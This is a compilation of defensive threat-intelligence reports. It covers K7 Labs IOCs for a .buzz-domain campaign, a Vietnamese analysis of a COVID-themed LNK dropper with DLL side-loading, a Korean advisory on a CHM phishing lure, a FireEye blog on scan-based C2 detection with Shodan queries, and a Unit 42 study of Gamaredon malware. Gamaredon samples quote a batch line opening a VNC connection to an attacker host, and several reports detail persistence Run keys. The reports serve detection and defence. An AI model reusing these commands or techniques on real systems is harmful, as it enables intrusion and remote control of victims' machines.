| Dec 2022 | spreadsheet.xls, dttcodexgigas.xls, Sam.ppt, Accounts.xls, attachment.xls, ff.xls, trix.xls |
| Nov 2022 | Requirement list of spares.xls |
| Sept 2022 | bodli.doc |
The C2 URL TLD has been .buzz since the September 2022 campaign. The DNS registrar for the C2 URL is NameSilo Inc. and the IPs resolved to the ASN number 399629. Based on the ASN number, we were able to deduce the ISP as BL Networks, and from there we were able to track it to a Virtual Private Server (VPS) provider called BitLaunch, which accepts crypto payments. We found evidence of this particular VPS service being used for malicious campaigns in the past. We found this pattern to be consistent since September 2022.
We at K7 Labs provide detection against such threats. Users are advised to use a reliable security product such as “K7 Total Security” and keep it up-to-date to safeguard their devices.
## IOCs
| HASH | File Name |
|--------------------------------------------------|------------------------------------------------------------------|
| 4EAA63DD65FC699260306C743B46303B | Kashmir Solidarity Day Material.exe |
| 07A3C19BC67C5F44C888CE75D4147ECF | dn2272iosUp.dll |
| 08E2FAA6D92A94A055579A5F4F3FCD04 | spreadsheet.xls |
| 06ADBB4BA31A52CC5C9258BF6D99812C | Requirement list of spares.xls |
| 795c0ee208d098df11d56d72236175b2 | bodli.doc |
| 7662B07F747EAE8433E347B70A33F727 | trix.xls |
| 24DEB1EEE361086268B2E462B9A42191 | dttcodexgigas.xls |
| 65F904DC7F675B93C2DEC927D2B8E58F | dttcodexgigas.xls |
| DC6DF9BDEE372A00E5402C19D2D77DE9 | Requirement of pattenization data for seamanship items.xls |
| 3e2b44bef17ae7bcce26e6211c68dc08 | Sam.ppt |
| 64266FC0F0B37A26E14133AD19B98B7C | Requirement list of spares.xls |
| BE0B5518E4D7EDFED694E2CE1B2C3CEA | Accounts.xls |
| 835AB3B85B3217722095CDD14A1157BF | attachment.xls |
| 82938D802B72C043E549E973023974DC | attachment.xls |
| 79B5D2DA98CCF99135FFF67D0AD48488 | Accounts.xls |
| D98E2D7C8E91A9D8E87ABE744F6D43F9 | ff.xls |
| A65F67D12C73E0FA71813A645A924DBC | trix.xls |
| F6FCEFD16C5D9A31AE19A3BCE709B31E | spreedsheet.xls |
| 7662B7D42F74E5FAEF1EE953419A31D4 | Attachments.xls |
## C2 Domains
- hxxp://5[.]135[.]199[.]0/football/goal
- hxxps://briefdeal[.]buzz/Treolekomana/recopereta
- hxxp://orangevisitorss[.]buzz/QcM8y7FsH12BUbxY/XNJxFhZdMSJzq1tRyF47ZXLIdqNGRqiHQQHL6DJIjl2IoxUA[.]png
- hxxp://orangevisitorss[.]buzz/QcM8y7FsH12BUbxY/XNJxFhZdMSJzq1tRyF47ZXLIdqNGRqiHQQHL6DJIjl2IoxUA[.]mp4
- hxxp://one[.]localsurfer[.]buzz/jl60UwJBkaWEkCSS/MU3gLGSnHhfDHRnwhlILSB27KZaK2doaq8s9V5M2RIgpeaD8[.]mp4
- hxxp://one[.]localsurfer[.]buzz/jl60UwJBkaWEkCSS/MU3gLGSnHhfDHRnwhlILSB27KZaK2doaq8s9V5M2RIgpeaD8[.]ico
- hxxp://orangeholister[.]buzz/kolexretriya78ertdcxmega895200[.]php
- hxxp://one[.]localsurfer[.]buzz/jl60UwJBkaWEkCSS/MU3gLGSnHhfDHRnwhlILSB27KZaK2doaq8s9V5M2RIgpeaD8[.]png
- One[.]localsurfer[.]buzz
- hxxp://morphylogz[.]buzz/Ik3EIidq3fc2GGig/aFwrDmHIiBWh62kZPVb4bmV0waydPv0WtgqM0QTte5iAFzF0[.]png
- hxxp://morphylogz[.]buzz/Ik3EIidq3fc2GGig/aFwrDmHIiBWh62kZPVb4bmV0waydPv0WtgqM0QTte5iAFzF0[.]ico
- hxxps://itygreyhound[.]buzz/Kolpt523ytcserstrew/torel
- itygreyhound[.]buzz
## C2 IP
- 5.135.199.0
- 168.100.9.5
- 193.149.180.4
- 168.100.9.216
- 45.61.136.145
- 162.33.178.22
- 45.61.139.243
- 168.100.9.216
- 45.61.136.198
- 45.61.139.243 |
# Phân tích mã độc lợi dụng dịch Covid-19 để phát tán giả mạo “Chỉ thị của thủ tướng Nguyễn Xuân Phúc” - Phần 1
Lợi dụng tình hình diễn biến của dịch COVID-19 hiện tại đang rất phức tạp, nhiều nhóm tin tặc đã và đang âm thầm thực hiện các chiến dịch APT nhắm vào các cá nhân và tổ chức nhằm trục lợi. Tại Việt Nam cũng không ngoại lệ. Mới đây chúng tôi ghi nhận mẫu mã độc (nghi ngờ từ nhóm Mustang Panda) giả mạo chỉ thị của thủ tướng Nguyễn Xuân Phúc về phòng tránh dịch COVID-19. Trong bài viết này chúng tôi sẽ phân tích phương thức mà kẻ tấn công sử dụng để lây nhiễm vào máy người dùng.
## 1. Thông tin về sample
- **File name:** Chi Thi cua thu tuong nguyen xuan phuc.rar
- **File Hash (SHA-256):** bbbeb1a937274825b0434414fa2d9ec629ba846b1e3e33a59c613b54d375e4d2
- **File Size:** 172 KB
- **File type:** RAR
- **File Timestamps:** 2020:03:03 14:46:12
**Archived File Name:** Chi Thi cua thu tuong nguyen xuan phuc\Chi Thi cua thu tuong nguyen xuan phuc.lnk
## 2. Phân tích mã độc
### 2.1. Phân tích hành vi của mã độc
Theo thông tin ở trên, mã độc gửi kèm email phishing là một file nén. Trong file nén này chứa một file Chi Thi cua thu tuong nguyen xuan phuc.lnk có kích thước 712 KB. File .lnk đơn giản là một shortcut được Windows sử dụng làm tham chiếu đến file gốc. Các file này thường sử dụng cùng một biểu tượng với file gốc, nhưng thêm một mũi tên cuộn tròn nhỏ để cho biết nó trỏ đến một vị trí khác. Khi người dùng vô tình mở file .lnk trong file nén trên, hành vi của mã độc sẽ diễn ra theo trình tự:
- Khởi chạy cmd.exe, mục đích để gọi mshta.exe với tham số truyền vào là file .lnk đã được giải nén tạm ở thư mục %Temp%.
- mshta.exe có nhiệm vụ phân tích file, tìm kiếm và thực thi script được nhúng trong file. Từ đây, thực hiện các hành động sau:
- Tạo các file 3.exe, http_dll.dll, http_dll.dat, Chi Thi cua thu tuong nguyen xuan phuc.doc trong thư mục %LocalAppData%\Temp.
- Khởi chạy 3.exe, tiến trình này sẽ tạo các file unsecapp.exe, http_dll.dll, http_dll.dat trong thư mục %AllUsersProfile%\Microsoft Malware Protectionydy.
- Thiết lập run key Microsoft Malware Protectionydy trong Registry (HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run & HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Malware Protectionydy) trỏ tới file unsecapp.exe đã tạo ở trên.
- Gọi WINWORD.EXE để mở tài liệu %Temp%\Chi Thi cua thu tuong nguyen xuan phuc.doc với nội dung nhằm đánh lừa người dùng.
- Tiến trình unsecapp.exe sau khi thực thi sẽ kết nối tới C2 là vietnam[.]zing[.]photos.
Hai file 3.exe và unsecapp.exe thực chất là cùng là một file và có Certificate nhằm qua mặt các phần mềm Antivirus.
### 2.2. Phân tích chi tiết file lnk và VBScript
Như mô tả ở phần trên, khi người dùng mở file Chi Thi cua thu tuong nguyen xuan phuc.lnk trong Chi Thi cua thu tuong nguyen xuan phuc.rar, mshta.exe sẽ được gọi để thực thi script. Như vậy, nội dung của script này phải được nhúng sẵn trong file .lnk. Sử dụng 010 Editor để mở file .lnk và tìm kiếm chuỗi `<script`, kết quả có được thông tin về đoạn VBScript được nhúng trong file.
Trích xuất toàn bộ nội dung của script. Nội dung của script như sau:
- Khai báo các biến CAwyFTsgCQ, yilJSYTMMh, TPDgWjZcyJ và gán lần lượt nội dung của 3.exe, http_dll.dll, http_dll.dat cho từng biến.
- Tạo lập đường dẫn cho các files và gọi hàm vSWGUThohAGJ để tạo files.
- Thực thi file 3.exe đã tạo, tạo tài liệu Chi Thi cua thu tuong nguyen xuan phuc.doc và mở tài liệu này để đánh lừa người dùng.
### 2.3. Phân tích chi tiết các payload
#### 2.3.1. Phân tích unsecapp.exe
Như đã đề cập ở trên, mã độc sau khi thực thi thành công sẽ thiết lập run key Microsoft Malware Protectionydy trong Registry (HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run) trỏ tới file unsecapp.exe. File này bản chất là EHttpSrv.exe (ESET HTTP Server Service) thuộc sản phẩm Eset Smart Security của hãng ESET. Kẻ tấn công đã lợi dụng file này để thực hiện kỹ thuật DLL side-loading nhằm tải và thực thi mã độc nằm trong thư viện http_dll.dll.
#### 2.3.2. Phân tích http_dll.dll
http_dll.dll sau khi được nạp sẽ thực thi code tại DllMain, tại đây mã độc gọi hàm thực hiện công việc sau:
- Lấy địa chỉ thuộc unsecapp.exe tính từ base address + 0x157A.
- Gọi hàm VirtualProtect để thay đổi 16 bytes từ địa chỉ tính toán ở trên thành PAGE_EXECUTE_READWRITE.
- Patch code tại địa chỉ đó thông qua kỹ thuật push – ret để nhảy tới hàm thực hiện nhiệm vụ giải mã mà thực thi Shellcode.
Tại hàm DecryptShellCodeAndExecute (0x10001230), mã độc tiếp tục thực hiện:
- Cấu thành đường dẫn tới http_dll.dat, file này chứa payload đã bị mã hóa.
- Gọi hàm FileReadAll (0x10001030), đọc toàn bộ nội dung của http_dll.dat vào vùng nhớ đã cấp phát.
- Trích xuất key giải mã (10 bytes đầu của http_dll.dat), cấp phát vùng nhớ và copy toàn bộ dữ liệu của http_dll.dat vào vùng nhớ đã được cấp phát. Gọi hàm XorDecrypt (0x100014B0) để giải mã payload mới trên bộ nhớ.
- Cuối cùng gọi hàm VirtualProtect để thay đổi vùng nhớ của payload mới thành PAGE_EXECUTE_READWRITE và gọi thẳng tới payload này để thực thi. Payload cuối cùng này sẽ làm nhiệm vụ giải mã cấu hình có thông tin về thư mục “Microsoft Malware Protectionydy” dùng để lưu các payload, thông tin về C2 như đã đề cập ở trên và thực hiện nhiệm vụ kết nối tới C2.
Bằng thông tin phân tích được ở trên, có thể giải mã và thu được payload mới mà không cần debug.
### Indicators of compromise (IOCs)
**Dropped file:**
- %LocalAppData%\Temp
1. 3.exe [SHA256: c3159d4f85ceb84c4a0f7ea9208928e729a30ddda4fead7ec6257c7dd1984763]
2. http_dll.dll [SHA256: 79375c0c05243354f8ba2735bcd086dc8b53af709d87da02f9206685095bb035]
3. http_dll.dat [SHA256: b62d35d8edae874a994fff12ec085a0bf879c66b3c97fd13fe0a335b497342e5]
4. Chi Thi cua thu tuong nguyen xuan phuc.doc [SHA256: e3556d6ba5e705b85599b70422928165c8d4130074029a8dcd04a33f4d1aa858]
- %AllUsersProfile%\Microsoft Malware Protectionydy
1. unsecapp.exe [SHA256: c3159d4f85ceb84c4a0f7ea9208928e729a30ddda4fead7ec6257c7dd1984763]
2. http_dll.dll [SHA256: 79375c0c05243354f8ba2735bcd086dc8b53af709d87da02f9206685095bb035]
3. http_dll.dat [SHA256: b62d35d8edae874a994fff12ec085a0bf879c66b3c97fd13fe0a335b497342e5]
**Persistence Registry:**
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Malware Protectionydy = C:\ProgramData\Microsoft Malware Protectionydy\unsecapp.exe
- HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Malware Protectionydy = C:\ProgramData\Microsoft Malware Protectionydy\unsecapp.exe
**C2:**
- Domain: vietnam[.]zing[.]photos
- IP: 104.160.44.85
Bài viết xin được tạm dừng tại đây, trong phần tiếp theo chúng tôi sẽ phân tích chi tiết về cách thức hoạt động của payload cuối cùng (HT.dll). |
# [주의] 국가 자문 기관을 사칭한 악성코드 감염 주의 요망
- 논문심사 의뢰 요청으로 APT 공격 시도 -
보안전문기업 ㈜하우리(대표 김희천, www.hauri.co.kr)는 국가 자문 기관을 사칭하여 주요 기관의 특정인을 대상으로 악성메일이 발송된 정황이 포착되어 주의가 필요하다고 10일 밝혔다.
해당 악성메일은 공신력 있는 국가 자문 기관을 사칭하여 국가 주요 연구기관의 특정 연구원에게 논문심사 의뢰를 요청하는 것으로 속여 메일 수신자가 악성코드에 감염되도록 제작되었다.
악성메일은 "[OOOO] 논문심사 의뢰드립니다."라는 제목으로 발송되었으며, 메일 내용 또한 논문심사 의뢰 내용으로 전혀 어색한 부분 없이 자연스럽게 기재되어 있어 수신자가 의심 없이 악성메일을 열람하고 악성코드를 실행할 수 있다. 또한 첨부된 악성파일을 열어 악성코드에 감염되더라도 PC에 특별한 증상이 노출되지 않기 때문에 감염 사실을 PC 사용자가 인지하기에는 쉽지 않다.
악성메일에 첨부된 "논문.zip" 압축파일 내에는 [그림 1]과 같은 파일이 압축되어 있다. 압축파일에 포함된 윈도우 도움말 파일인 "2023-3-2.chm" 파일을 열람하게 되면 "X Click" 함수를 통해 스크립트가 자동 실행되고, 악성 URL로부터 악성코드인 temp.vbs 파일이 다운로드 되어 동작하도록 제작되어 있다.
"2023-3-2.chm" 파일 실행 시 백그라운드로 악성스크립트가 실행됨과 동시에 "정책결정자의 리더쉽이 한미동맹과 미일동맹에 미치는 영향"이라는 정상 논문이 출력되면서 메일 수신자는 악성코드 감염 사실을 더욱더 인지하기 어려워진다.
APT 공격 방법이 다양화되고 고도화되면서 윈도우 도움말(*.chm) 파일을 이용한 악성 코드도 빈번히 발견되고 있으며, 추후에도 지속적인 chm 파일을 이용한 공격이 지속적으로 발생할 것으로 예상됨으로 주의가 필요하다.
㈜하우리 보안대응센터 김정수 센터장은 "국가 주요 기관이나 일상과 업무에서 일반적으로 발생할 수 있는 자연스럽고 일반적인 메일을 이용하여 APT 공격이 빈번히 이루어지고 있다. 전자메일을 이용한 악성코드 감염이 조직 침투의 주요 공격 루트이므로 사용자 및 관리자의 정기적인 시스템 보안점검과 관리로서 위협요소를 제거하는 것이 중요하다."라고 말했다. |
# SCANdalous! (External Detection Using Network Scan Data and Automation)
**Aaron Stephens, Andrew Thompson**
**Jul 13, 2020**
**9 mins read**
In case you’re thrown by that fantastic title, our lawyers made us change the name of this project so we wouldn’t get sued. SCANdalous—a.k.a. Scannah Montana a.k.a. Scanny McScanface a.k.a. “Scan I Kick It? (Yes You Scan)”—had another name before today that, for legal reasons, we’re keeping to ourselves. A special thanks to our legal team who is always looking out for us; this blog post would be a lot less fun without them. Strap in folks.
## Introduction
Advanced Practices is known for using primary source data obtained through Mandiant Incident Response, Managed Defense, and product telemetry across thousands of FireEye clients. Regular, first-hand observations of threat actors afford us opportunities to learn intimate details of their modus operandi. While our visibility from organic data is vast, we also derive value from third-party data sources. By looking outwards, we extend our visibility beyond our clients’ environments and shorten the time it takes to detect adversaries in the wild—often before they initiate intrusions against our clients.
In October 2019, Aaron Stephens gave his “Scan’t Touch This” talk at the annual FireEye Cyber Defense Summit. He discussed using network scan data for external detection and provided examples of how to profile command and control (C2) servers for various post-exploitation frameworks used by criminal and intelligence organizations alike. However, manual application of those techniques doesn’t scale. It may work if your role focuses on one or two groups, but Advanced Practices’ scope is much broader. We needed a solution that would enable us to track thousands of groups, malware families, and profiles. In this blog post, we’d like to talk about that journey, highlight some wins, and for the first time publicly, introduce the project behind it all: SCANdalous.
## Pre-SCANdalous Case Studies
Prior to any sort of system or automation, our team used traditional profiling methodologies to manually identify servers of interest. The following are some examples. The success we found in these case studies served as the primary motivation for SCANdalous.
### APT39 SSH Tunneling
After observing APT39 in a series of intrusions, we determined they frequently created Secure Shell (SSH) tunnels with PuTTY Link to forward Remote Desktop Protocol connections to internal hosts within the target environment. Additionally, they preferred using BitVise SSH servers listening on port 443. Finally, they were using servers hosted by WorldStream B.V. Independent isolation of any one of these characteristics would produce a lot of unrelated servers; however, the aggregation of characteristics provided a strong signal for newly established infrastructure of interest. We used this established profile and others to illuminate dozens of servers we later attributed to APT39, often before they were used against a target.
### APT34 QUADAGENT
In February 2018, an independent researcher shared a sample of what would later be named QUADAGENT. We had not observed it in an intrusion yet; however, by analyzing the characteristics of the C2, we were able to develop a strong profile of the servers to track over time. For example, our team identified the server 185.161.208.37 and domain rdppath.com within hours of it being established. A week later, we identified a QUADAGENT dropper with the previously identified C2.
Five days after the QUADAGENT dropper was identified, Mandiant was engaged by a victim that was targeted via the same C2. This activity was later attributed to APT34. During the investigation, Mandiant uncovered APT34 using RULER.HOMEPAGE. This was the first time our consultants observed the tool and technique used in the wild by a real threat actor. Our team developed a profile of servers hosting HOMEPAGE payloads and began tracking their deployment in the wild.
### APT33 RULER.HOMEPAGE, POSHC2, and POWERTON
A month after that aforementioned intrusion, Managed Defense discovered a threat actor using RULER.HOMEPAGE to download and execute POSHC2. All the RULER.HOMEPAGE servers were previously identified due to our efforts. Our team developed a profile for POSHC2 and began tracking their deployment in the wild. The threat actor pivoted to a novel PowerShell backdoor, POWERTON. Our team repeated our workflow and began illuminating those C2 servers as well. This activity was later attributed to APT33 and was documented in our OVERRULED post.
## SCANdalous: Scanner, Better, Faster, Stronger
Our use of scan data was proving wildly successful, and we wanted to use more of it, but we needed to innovate. How could we leverage this dataset and methodology to track not one or two, but dozens of active groups that we observe across our solutions and services? Even if every member of Advanced Practices was dedicated to external detection, we would still not have enough time or resources to keep up with the amount of manual work required. But that’s the key word: Manual. Our workflow consumed hours of individual analyst actions, and we had to change that. This was the beginning of SCANdalous: An automated system for external detection using third-party network scan data.
A couple of nice things about computers: They’re great at multitasking, and they don’t forget. The tasks that were taking us hours to do—if we had time, and if we remembered to do them every day—were now taking SCANdalous minutes if not seconds. This not only afforded us additional time for analysis, it gave us the capability to expand our scope. Now we not only look for specific groups, we also search for common malware, tools, and frameworks in general. We deploy weak signals (or broad signatures) for software that isn’t inherently bad, but is often used by threat actors.
Our external detection was further improved by automating additional collection tasks, executed by SCANdalous upon a discovery—we call them follow-on actions. For example, if an interesting open directory is identified, acquire certain files. These actions ensure the team never misses an opportunity during “non-working hours.” If SCANdalous finds something interesting on a weekend or holiday, we know it will perform the time-sensitive tasks against the server and in defense of our clients.
The data we collect not only helps us track things we aren’t seeing at our clients, it allows us to provide timely and historical context to our incident responders and security analysts. Taking observations from Mandiant Incident Response or Managed Defense and distilling them into knowledge we can carry forward has always been our bread and butter. Now, with SCANdalous in the mix, we can project that knowledge out onto the Internet as a whole.
## Collection Metrics
Looking back on where we started with our manual efforts, we’re pleased to see how far this project has come, and is perhaps best illustrated by examining the numbers. Today, SCANdalous holds over five thousand signatures across multiple sources, covering dozens of named malware families and threat groups. Since its inception, SCANdalous has produced over two million hits. Every single one of those is a piece of contextualized data that helps our team make analytical decisions.
When an analyst discovers that an IP address has been used by an adversary against a named organization, they denote that usage in our knowledge store. While the time at which this observation occurs does not always correlate with when it was used in an intrusion, knowing when we became aware of that use is still valuable. We can cross-reference these times with data from SCANdalous to help us understand the impact of our external detection. Looking at the IP addresses marked by an analyst as observed at a client in the last year, we find that 21.7% (more than one in five) were also found by SCANdalous. Of that fifth, SCANdalous has an average lead time of 47 days. If we only consider the IP addresses that SCANdalous found first, the average lead time jumps to 106 days.
As we continue to create signatures and increase our external detection efforts, we can see from these numbers that the effectiveness and value of the resulting data grow as well.
## SCANdalous Case Studies
Today in Advanced Practices, SCANdalous is a core element of our external detection work. It has provided us with a new lens through which we can observe threat activity on a scale and scope beyond our organic data, and enriches our workflows in support of Mandiant. Here are a few of our favorite examples:
### FIN6
In early 2019, SCANdalous identified a Cobalt Strike C2 server that we were able to associate with FIN6. Four hours later, the server was used to target a Managed Defense client, as discussed in our blog post, *Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware*.
### FIN7
In late 2019, SCANdalous identified a BOOSTWRITE C2 server and automatically acquired keying material that was later used to decrypt files found in a FIN7 intrusion worked by Mandiant consultants, as discussed in our blog post, *Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques*.
### UNC1878 (financially motivated)
Some of you may also remember our recent blog post on UNC1878. It serves as a great case study for how we grow an initial observation into a larger set of data, and then use that knowledge to find more activity across our offerings. Much of the early work that went into tracking that activity happened via SCANdalous. The quick response from Managed Defense gave us just enough information to build a profile of the C2 and let our automated system take it from there. Over the next couple of months, SCANdalous identified numerous servers matching UNC1878’s profile. This allowed us to not only analyze and attribute new network infrastructure, it also helped us observe when and how they were changing their operations over time.
## Conclusion
There are hundreds more stories to tell, but the point is the same. When we find value in an analytical workflow, we ask ourselves how we can do it better and faster. The automation we build into our tools allows us to not only accomplish more of the work we were doing manually, it enables us to work on things we never could before. Of course, the conversion doesn’t happen all at once. Like all good things, we made a lot of incremental improvements over time to get where we are today, and we’re still finding ways to make more. Continuing to innovate is how we keep moving forward – as Advanced Practices, as FireEye, and as an industry.
## Example Signatures
The following are example Shodan queries; however, any source of scan data can be used.
**Used to Identify APT39 C2 Servers**
`product:"bitvise" port:"443" org:"WorldStream B.V."`
**Used to Identify QUADAGENT C2 Servers**
`"PHP/7.2.0beta2"`
**RULER.HOMEPAGE Payloads**
`html:"clsid:0006F063-0000-0000-C000-000000000046"` |
# The Gamaredon Group Toolset Evolution
By Anthony Kasza and Dominik Reichel
February 27, 2017
Unit 42 threat researchers have recently observed a threat group distributing new, custom-developed malware. We have labeled this threat group the Gamaredon Group, and our research shows that they have been active since at least 2013.
In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows they have made a shift to custom-developed malware, indicating improved technical capabilities. The custom-developed malware is fully featured and includes these capabilities:
- A mechanism for downloading and executing additional payloads of their choice
- The ability to scan system drives for specific file types
- The ability to capture screenshots
- The ability to remotely execute commands on the system in the user’s security context
The Gamaredon Group primarily makes use of compromised domains, dynamic DNS providers, Russian and Ukrainian country code top-level domains (ccTLDs), and Russian hosting providers to distribute their custom-built malware.
Antimalware technologies have a poor record of detecting the malware this group has developed. This is likely due to the modular nature of the malware, its heavy use of batch scripts, and the abuse of legitimate applications and tools (such as wget) for malicious purposes.
Previously, LookingGlass reported on a campaign they named "Operation Armageddon," targeting individuals involved in the Ukrainian military and national security establishment. Because we believe this group is behind that campaign, we’ve named them the Gamaredon Group, an anagram of “Armageddon.” At this time, it is unknown if the new payloads this group is distributing are a continuation of Operation Armageddon or a new campaign.
## Gamaredon: Historical Tool Analysis
The earliest discovered sample distributed by this threat group resembles the descriptions of Gamaredon provided by Symantec and Trend Micro. Unfortunately, this identification is rather tenuous, as it seems to only identify the first variant of payloads used by our threat actors. Some samples of later payload variants have also been given the generic names of TROJ_RESETTER.BB and TROJ_FRAUDROP.EX.
Originally, the payloads delivered to targets by this threat group consisted of a password-protected Self-extracting Zip-archive (.SFX) file which, when extracted, wrote a batch script to disk and installed a legitimate remote administration tool called Remote Manipulator System, which they would abuse for malicious purposes.
One such self-extracting archive (ca87eb1a21c6d4ffd782b225b178ba65463f73de6f4c736eb135be5864f556dc) was first observed around April of 2014. The password it used to extract itself is “1234567890__”. The files included in this SFX file include a batch file named “123.cmd” and another SFX named “setting.exe.” This second SFX contains a .MSI installer package which installs Remote Manipulator System and a batch script which handles the installation.
Later payloads would write batch scripts to disk as well as wget binaries. The batch scripts would use the wget binaries to download and execute additional executables. The scripts would also use wget to send POST requests to command and control (C2) servers that would contain information about the compromised system. Some of these payloads included decoy documents that would open when the malware is executed.
Three examples of this type of payload include:
- a6a44ee854c846f31d15b0ca2d6001fb0bdddc85f17e2e56abb2fa9373e8cfe7
- b5199a302f053e5e9cb7e82cc1e502b5edbf04699c2839acb514592f2eeabb13
- 3ef3a06605b462ea31b821eb76b1ea0fdf664e17d010c1d5e57284632f339d4b
We first observed these samples using wget in 2014. The filenames and decoy documents these samples used attempt to lure individuals by using the presidential administration of Ukraine, Ukrainian national security and defense, the Anti-Terrorist Operation Zone in Ukraine, and Ukrainian patriotism as subjects.
Other observed payloads would again use SFX files to deliver a batch script and an executable that allowed remote access through the VNC protocol. These VNC executables would either be included in the SFX file or downloaded by the batch script. We found one URL (now taken down) that hosted a VNC executable that the malware would attempt to download and install.
The batch script would then attempt to have the VNC program connect to a command and control (C2) server to enable the server to control the compromised system. All VNC installations on compromised systems that we observed have used the same configuration file, RC4 key file, and passwords.
One such sample, cfb8216be1a50aa3d425072942ff70f92102d4f4b155ab2cf1e7059244b99d31, first appeared around January of 2015. The batch script utilized in this sample ensures a VNC connection is available:
```
start winlogons -autoreconnect -id:%sP% -connect grom56.ddns.net:5500
```
The path configured in the VNC configuration file across all implants employing VNC (UltraVNC.ini) is “Y:\ПРОБА\Создание троянов\создание RMS\vnc.” This isn’t the only place hardcoded Cyrillic file paths are used by implants. Many of the batch scripts also use hardcoded paths such as “Главное меню\Программы\Автозагрузка.” Many payloads also include a VBS script which raises a dialog box to the users asking them to run the malware again. It reads, “Ошибка при инициализации приложения (0xc0000005). Повторить попытку открытия файла?” (English Translation from Russian: Application failed to initialize (0xc0000005). Try to open the file again?).
Some of the SFX files also include another legitimate application called ChkFlsh.exe. This application was written by a Ukrainian programmer and is used to check the performance of USB flash drives. Its value to the attackers isn’t clear, but one possibility is that it is somehow used to steal or monitor files on USB devices.
In our research, we found this application present in some SFX files along with VNC programs and in some SFX files that didn’t have VNC programs included.
## Custom Implants
While the most recent samples observed still use batch scripts and SFX files, the Gamaredon Group has moved away from applications like wget, Remote Manipulator Tool, VNC, and ChkFlsh.exe. Instead of using wget, the attackers are distributing custom-developed downloaders, and instead of Remote Manipulator or VNC, the malware is using a custom-developed remote access implant.
In June of 2015, a custom downloader used by many newer samples was first seen in the wild and is often included in SFX implants with the name “LocalSMS.dll.” This downloader makes requests to adobe.update-service[.]net (hardcoded in the sample) and is further discussed in Appendix A.
In February 2016, another custom tool now often included in SFX implants was seen in the wild. This SFX file (3773ddd462b01f9272656f3150f2c3de19e77199cf5fac1f44287d11593614f9) contains a new Trojan (598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824) we refer to as “Pteranodon.” Pteranodon is a custom backdoor capable of the following tasks:
- Capturing screenshots at a configurable interval and uploading them to the attacker
- Downloading and executing additional files
- Executing arbitrary commands on the system
The earliest version of Pteranodon uses a hardcoded URL for command and control. It sends POST requests to “msrestore[.]ru/post.php” using a static multipart boundary.
Newer versions of the tool also use hardcoded domains and multipart boundaries. They also share similar pdb strings. Other Pteranodon samples can be found in AutoFocus using the Pteranodon tag. The most recent variant of Pteranodon is analyzed in Appendix A.
We have only identified one delivery vector for the new implants thus far. A Javascript file (f2355a66af99db5f856ebfcfeb2b9e67e5e83fff9b04cdc09ac0fabb4af556bd) first seen in December of 2016 downloads a resource from a compromised site used for staging payloads, which previously contained an SFX file (b2fb7d2977f42698ea92d1576fdd4da7ad7bb34f52a63e4066f158a4b1ffb875) containing two of the Gamaredon custom tools.
A related sample (e24715900aa5c9de807b0c8f6ba8015683af26c42c66f94bee38e50a34e034c4) used the same distinct Mutex and contains a larger set of tools for analysis. The original name of the file is "AdapterTroubleshooter.exe," and the file uses icons resembling those used by OpenVPN.
Upon examining the sample's file activity within AutoFocus, it is clear the sample is a self-extracting executable.
Opening the sample with 7zip inside of a virtual machine, all the file contents can be examined. Below is a table providing the SHA256 values, the filenames, the compile timestamps, and the pdb paths of the contents of the SFX file.
| SHA256 | Filename | Compile Time | PDB Path |
|--------|----------|--------------|----------|
| 400f53a89d08d47f608e1288d9873bf8d421fc7cd642c5e821674f38e07a1501 | LocalSMS.dll | Wed Apr 29 2015 08:10:30 | c:\users\viber\documents\projects\contextmenu |
| d01df47b6187631c9a93bdad1298439ab1a1c5529b3319f3614b6ec2455e5726 | MpClients.dll | Thu Sep 08 2016 05:01:00 | c:\users\user\documents\projects\updaterv1\ |
| f2296bcb6be68dfb330baec2091fb11a42a51928ba057164213580e6ff0e1126 | OfficeUpdate.dll | Wed Dec 07 2016 09:25:57 | - |
| 2ded2f3b5b5b6155ce818893c67887cbfa8b539be6c983e314ccf2177552da20 | SmartArtGraphicsLog.lnk | - | - |
| 46a39da996b01e26ddd71d51c9704de2aa641cd3443f6fe0e5c485f1cd9fa65d | UsrClass.lnk | - | - |
| a972ad0ddc00d5c04d9fe26f1748e12008efdd6524c9d2ea4e6c2d3e42d82b7b | condirs.cmd | - | - |
| 37c78ee7826d63bb9219de594ed6693f18da5db60e3cbc86795bd10b296f12ac | winrestore.dll | Mon Jan 09 2017 03:12:39 | c:\develop\ready\winrestore\proxy\release\winrestore. |
| 90ba0f95896736b799f8651ef0600d4fa85c6c3e056e54eab5bb216327912edd | wmphost.exe | Thu Dec 01 2016 08:23:32 | c:\develop\ready\mouse-move\release\mouse-move |
The bootstrapping logic for the sample relies on the contents of "condirs.cmd." Briefly, the logic within "condirs.cmd" follows:
1. Ensure "%LOCALAPPDATA%\Microsoft\Windows\" exists
2. Kill and delete processes, files, and scheduled tasks which may interfere with the sample executing
3. Copy "winrestore.dll" to "%LOCALAPPDATA%\Microsoft\Windows\UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5win}.dll"
4. Copy "OfficeUpdate.dll" to "%LOCALAPPDATA%\Microsoft\Windows\UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5off}.dll"
5. Determine if the operating system is Windows XP or Windows 7
6. If the system is running Windows XP
a. Set the directory to copy files into as "%WINDIR%\Setup\State\Office"
b. Copy "UsrClass.lnk" to "%USERPROFILE%\Главное меню\Программы\Автозагрузка\"
c. Copy "SmartArtGraphicsLog.lnk" to "%USERPROFILE%\Главное меню\Программы\Автозагрузка\"
7. If the system is running Windows 7
a. Set the directory to copy files into as "%APPDATA%\Microsoft\Office"
b. Copy "UsrClass.lnk" to "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"
c. Copy "SmartArtGraphicsLog.lnk" to "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"
8. Copy "winrestore.dll" to the directory set in step 6 or 7a with the filename "MSO1234.win"
9. Copy "LocalSMS.dll" to the directory set in step 6 or 7a with the filename "MSO1567.dls"
10. Copy "OfficeUpdate.dll" to the directory set in step 6 or 7a with the filename "MSO5678.usb"
11. Copy "MpClients.dll" to the directory set in step 6 or 7a with the filename "MSO8734.obn"
